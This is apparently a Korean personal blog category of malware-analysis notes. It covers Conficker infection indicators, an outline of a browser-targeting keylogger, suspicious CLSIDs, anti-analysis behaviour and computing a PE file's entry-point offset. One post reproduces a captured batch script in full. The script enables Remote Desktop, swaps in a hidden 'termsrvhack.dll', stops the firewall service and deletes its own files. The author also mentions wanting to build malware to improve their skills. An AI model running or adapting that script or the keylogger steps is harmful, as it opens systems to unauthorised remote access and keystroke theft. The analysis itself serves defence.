CreateMutex
까보면 다나와~
유용한 지식 자료들/악성코드 기법 (18)

ntdll.bsearch

악성코드가 사용하는 꼼수.

 

 

  Comments,     Trackbacks

Security Service Disable

Look For Disabled Services
Below are some services the worm disables, if any of these are disabled that you did not disable yourself – you could be infected:

 

wscsvc – Security Center
WinDefend Windows Defender (available in Vista)
wuauserv – Automatic Updates
BITS – Background Intelligent Transfer Service
ERSvc – Error Reporting Service
WerSvc – Windows Error Reporting Service (available in Vista)


Removed Restore Points
The worm removes all system restore points. If you have no system restore points, you may be infected.

 

Removal of Windows Security Center
If the following registry entry is missing, you could be infected: HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\ShellServiceObjects\{FD6905CE-952F-41F1-9A6F-135D9C6622CC}

 

conficker 분석하다가.

  Comments,     Trackbacks

keylogging 기법

1. GetKeyState()로 현재 눌려진 키를 확인

2. GetForegroundWindow()로 활성화된 윈도우의 핸들을 가져온뒤 GetWindowTextA()로
"Internet Explorer" 또는 " Mozilla Firefox" 스트링이 포함되어있는 지를 비교.

3. 있으면 눌린키를 저장. 특수문은 switch 문으로 아스키값을 변환해서 저장
  Comments,     Trackbacks

악성코드 기법

악성코드 기법을 알아보고 역으로 악성코드를 제작해보고자 한다.

이 카테고리는 비공개로 개인 능력향상을 위해 활용한다.

  Comments,     Trackbacks

고급 사용자를 위한 Internet Explorer 보안 영역 레지스트리 항목
http://support.microsoft.com/kb/182569/ko

.data:10009BB4  00000027 C {AEBA21FA-782A-4A90-978D-B72164C80120}                                     
.data:10009BDC  00000027 C {A8A88C49-5EB2-4990-A1A2-0876022C854F}                   


오늘 위의 CLSID를 확인하는 악성코드를 보았다.
MS 참고 사이트를 보니 보안관련한 것 같다.

나중을 위해 블로깅..
  Comments,     Trackbacks

Bat 파일로 쓰인 명령어
@echo off
for /f "tokens=2 delims= " %%a in ('tasklist/svc^|find ^"TermService^"') do (taskkill /pid %%a /f)
REG ADD HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\System32\termsrvhack.dll /f
Attrib +H +S +R %systemroot%\system32\termsrvhack.dll
net stop sharedaccess
net start dcomlaunch
net start termservice
shutdown -a
del 3389.vbs
del 3389.bat

요놈은 삭제만 할 줄 알았더니 직접 서비스를 한다.
대충.. termsrv.dll 파일을 이용하여 외부와 통신을 하는 목적으로 판단된다.
뭐하는 명령인지 전부는 모르지만 혹시 몰라 남겨봄~
  Comments,     Trackbacks

악성코드가 싫어하는 프로그램들

VM에서 동적 분석하는 데 모든 모니터링 툴이 꺼져버렸다.
분명 제대로 동작한 악성코드라 뭔 짓을 했는지 궁그해서 살짝 까봤더니
아래와 같은 스트링이 있었다.



이런 프로그램들이라면 제작자에게 인정받거나 사람들이 많이 사용한다는 반증.
안써본게 있다면 사용해 보시길.
  Comments,     Trackbacks

파일의 Entry Point 값을 파일 Offset값으로 구하는 방법

Offset 108 번째(Address of Entry Point)의 Data 값
빼기
Offset 1e4 번째(RVA)의 Data 값
더하기
Offset 1ec 번째(PointerToRawData)의 Data 값


이렇게 계산을 하면 RVA로 나오는 EP값이 아닌 파일 Offset의 주소값을 알 수 있다.
원리는 책 "시스템 실행파일의 구조와 원리"를 참고하면 이해하는 데 도움이 될 것이다.
악성코드 로더(loader)계열이 시스템 파일을 변조할 때 EP를 수정하기 위한 한 방법이다.
  Comments,     Trackbacks